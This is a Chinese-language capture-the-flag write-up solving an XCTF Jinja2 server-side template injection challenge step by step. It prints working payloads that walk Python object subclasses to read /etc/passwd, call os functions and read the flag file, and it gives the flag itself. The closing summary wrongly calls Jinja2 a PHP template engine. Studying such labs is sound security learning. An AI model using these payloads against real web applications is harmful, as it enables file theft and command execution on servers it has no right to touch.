【愚公系列】2022年04月 攻防世界-进阶题-WEB-014(Web_python_template_injection)
前言
SSTI即(server-side template injection)服务器模板,平时我们常用的有sql注入,xss注入,xml注入和命令注入等等。大家应该都知道sql注入的原理以及方式,而模板注入的原理也很类似都是通过输入一些指令在后端处理进行了语句的拼接然后执行。模板注入不同的是它是针对python、php、java、nodejs、javascript或是ruby的网站处理框架。
一、Web_python_template_injection
题目链接:https://adworld.xctf.org.cn/task/task_list?type=web&number=3&grade=1
二、使用步骤
1.点击获取在线场景
2.场景分析
在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式
2.1 判断有无模板注入
http://111.200.241.244:51429/%7B%7B7+7%7D%7D
2.2 查看全局变量
{{config}}
2.3 寻找可用引用
文件包含:是通过python的对象的继承来一步步实现文件读取和命令执行的的。
几个魔术方法:
__class__
返回类型所属的对象__mro__
返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。__base__
返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的__subclasses__
每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表__init__
类的初始化方法__globals__
对包含函数全局变量的字典的引用
{{''.__class__.__mro__[2].__subclasses__()}}
可以看到有一个type file类型(可以进行文件读取),而且位置在数组第40。
2.4 文件读取
{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}
2.4 命令执行
可以看到有一个 <class ‘site._Printer’>类型(可以进行命令执行),而且位置在数组第71。
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
2.5 读取文件
{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
2.6 得到flag
flag:ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
总结
本文简单介绍服务端模版注入漏洞如常规 Web 注入漏洞之间的关系,分析了其产生的原理,并以 PHP 模板引擎 Jinja2 为例讲解了 SSTI 常规的扫描和检测方法。虽然说 SSTI 并不广泛存在,但如果开发人员滥用模板引擎,进行不安全的编码,这样 Web 应用就可能出现 SSTI,并且根据其模板引擎的复杂性和开发语言的特性,可能会造成非常严重的问题。
- 点赞
- 收藏
- 关注作者
评论(0)